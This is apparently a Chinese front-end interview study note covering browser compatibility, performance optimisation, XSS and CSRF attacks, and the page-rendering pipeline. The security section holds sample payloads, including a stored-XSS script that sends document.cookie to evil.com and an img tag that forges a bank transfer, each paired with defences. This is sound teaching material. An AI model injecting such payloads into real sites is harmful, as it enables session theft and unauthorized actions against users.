浏览器总结

9/10/2022

# 浏览器兼容性问题

  1. CSS Hack

    CSS hack是通过在CSS样式中加入一些特殊的符号也就是浏览器前缀,让不同的浏览器识别不同的符号(什么样的浏览器识别什么样的符号是有标准的,CSS hack就是让你记住这个标准),以达到应用不同的CSS样式的目的。主要是为了兼容IE低版本

  2. polyfill

    polyfill 是一段代码(或者插件),提供了那些开发者们希望浏览器原生提供支持的功能。程序库先检查浏览器是否支持某个API,如果不支持则加载对应的 polyfill。比如,html5的storage。不同浏览器,不同版本,有些支持,有些不支持。

  3. PostCSS

    可以理解为CSS的Babel工具,拥有强大的插件生态系统来分别做不同的任务.

上述都可以在webpack打包中配置使用.

# 浏览器优化

减少http请求次数:精灵图、base64格式、使用HTTP2、善用强缓存、协商缓存

减少传输时间:cdn、gizp压缩

减少渲染时间:减少回流(重排的次数)、开启服务端渲染

图片优化:懒加载、base64格式、使用webp格式图片

dom操作方面:尽量少操作、使用事件委托

js引擎方面:使用事件委托操作dom、使用web worker进行长时间脚本的运行

# 浏览器安全

  1. 跨站脚本攻击(XSS:Cross Site Script 为了与css区分)

    解释:是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害用户的数据安全。

    XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

    • 存储型 XSS 攻击:攻击代码被 永久存储 在目标服务器(如数据库、日志、评论区)。每次有用户访问相关页面时,恶意脚本都会执行,危害最严重。

      • 例子:
        <!-- 一个博客系统的评论功能: -->
        <!-- 渲染评论时直接输出 -->
        <div class="comment">{{ content }}</div>
        <!-- 攻击者提交评论: -->
        <script>document.location='https://evil.com?c='+document.cookie</script>
        
        数据库中存储了这段内容。任何访问该博客页面的用户都会加载评论,同时执行脚本。最终攻击者拿到大量用户的 cookie 或 session。
    • 反射型XSS攻击:攻击代码通过 URL 参数 或 请求内容 传入,服务器直接将参数内容反射到页面上,而没有进行安全过滤,恶意脚本在页面加载时立即执行

      • 例子:

        <!-- 网站有一个搜索功能,搜索结果页面直接把 q 参数输出: -->
        <!-- search.html -->
        <p>您搜索的关键词是:<span id="kw">{{ q }}</span></p>
        
        <!-- 攻击者构造一个恶意链接: -->
        <!-- https://example.com/search?q=<script>alert('XSS!')</script> -->
        
        <!-- 用户点击后,浏览器解析并执行: -->
        <p>您搜索的关键词是:<span id="kw"><script>alert('XSS!')</script></span></p>
        

        结果是用户立刻看到 alert('XSS!'),攻击成功。实际攻击中,攻击者可能会窃取用户的 cookie:

    • 基于 DOM 的 XSS 攻击:不依赖服务器返回,而是在 前端 JS 中不安全地使用用户输入。攻击代码直接在浏览器端执行

      • 例子:
        <!-- page.html -->
        <input type="text" id="kw">
        <button onclick="search()">搜索</button>
        <div id="result"></div>
        
        <script>
        function search() {
        const kw = document.getElementById("kw").value;
        document.getElementById("result").innerHTML = "搜索:" + kw;
        }
        </script>
        <!-- 如果用户输入: -->
        <script>alert('DOM XSS')</script>
        
        结果 innerHTML 会把脚本当作 HTML 渲染并执行。所以浏览器中立刻弹出 DOM XSS。 防范:
    • 对用户的输入进行转义

    • 开启HttpOnly:true、验证码机制,防止脚本冒充用户

    • Content-Security-Policy:响应头字段(csp内容安全策略,指定有效的域、即只执行哪些js脚本,来防止攻击)

  2. 跨站请求伪造(CSRF:Cross-site request forgery)

    解释:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的

    • 例子: 假设银行转账接口是:
      POST https://bank.com/transfer
      Content-Type: application/x-www-form-urlencoded
      to=attacker&amount=1000
      
      用户在 已登录银行网站 的情况下,访问了攻击者构造的页面:
      <img src="https://bank.com/transfer?to=attacker&amount=1000">
      
      浏览器会自动携带 银行的 Cookie,从而发起转账请求。

    防范:

    • 请求来源认证,在HTTP请求头中有一个字段叫Referer,它记录了请求的来源地址。 服务器需要做的是验证这个来源地址是否合法,如果是来自一些不受信任的网站,则拒绝响应。
    • token:使用tocken来代替cookie
    • cookie字段设置HttpOnly:true,恶意脚本则无法通过js脚本获取修改cookie
    • cookie字段设置sameSite: strict,cookie在跨站请求时不会被发送

# 面试题

  1. 从输入URL到页面加载的全过程。

    网络请求资源阶段

    1. 构建请求,查找强缓存(根据Expires、Cache-Control头)

    2. DNS解析

      从域名 -> IP地址的解析。如果域名已经被解析过,那么会查找缓存。具体的经历是 浏览器缓存 -> 本地hosts文件 -> 本地DNS解析器 -> 本地DNS服务器 -> 其他DNS服务器

    3. 建立TCP连接

      注意,Chrome在同一个域名下最多只能有6个TCP连接,超过则需等待。

      • 通过三次握手建立客户端服务器的连接。
      • 数据传输
      • 断开连接,四次挥手
    4. 是否建立https连接

    5. 发送HTTP请求(数据传输还未开始)

      携带请求行、请求头、请求体向服务器发送请求。

    6. 网络响应

      网络响应也包含了三个部分:响应行响应头响应体

      当响应结束后判断Connection字段,判断是否未keep-alive连接,若是则是建立的持久性连接.

    浏览器解析渲染资源阶段

    渲染阶段 (opens new window)

    1. 浏览器接收数据

      一般响应头的Content-Type的值是text/html,那么浏览器便开始进行解析和渲染工作

    2. 构建dom树

      将一系列的字节流转换为dom树的数据结构,本质上是一个以document为根节点的多叉树.

      解析HTML(非上下文无关文法):标记化算法=>构建tokens

      img

    3. 样式计算

      格式化样式表:stylesheets(因为浏览器看不懂css样式文本,所以将其转换成结构化的对象,可以通过document.styleSheets查看)

      标准化样式属性:比如rem->px,bold->700等等

      计算具体样式:比如继承的样式

  2. 构建Layout Tree(布局树)

    1. 遍历生成的 DOM 树节点,并把他们添加到布局树中

      1. 计算布局树节点的坐标位置。

      对于head标签和设置了display: none;的元素并不会放入其中

    2. 建图层树

      浏览器在构建完布局树之后,还会对特定的节点进行分层,构建图层树。

      一般情况下,节点的图层会默认属于父节点的图层,(这些图层也被称作合成层),而有的节点会提升成一个单独的合成层。

      • 显示合成

        1. 拥有层叠上下文的情况

          HTML根元素

          普通元素设置了z-index属性,且其position属性不为static

          opacity属性值不为1

          设置了transform属性

          设置了filter属性

          设置了will-change属性

        2. 需要裁剪的地方

          比如一个div,只有50x50大小,但是放置了很多的文字,那么就需要将超出的文字裁剪。

      • 隐式合成

        接下来是隐式合成,简单来说就是层叠等级低的节点被提升为单独的图层之后,那么所有层叠等级比它高的节点都会成为一个单独的图层。所以若是嵌套的层级太深,就有可能发生层级大爆炸!当然单独的图层在重绘的时候只会影响本身。

    3. 绘制列表

      接下来渲染引擎会将图层的绘制拆分成一个个绘制指令,比如先画背景、再描绘边框......然后将这些指令按顺序组合成一个待绘制列表,然后进行绘制。

    4. 生成图块最终显示

      将图层分块并优先生成视口附近的图块,并交给显示器进行显示。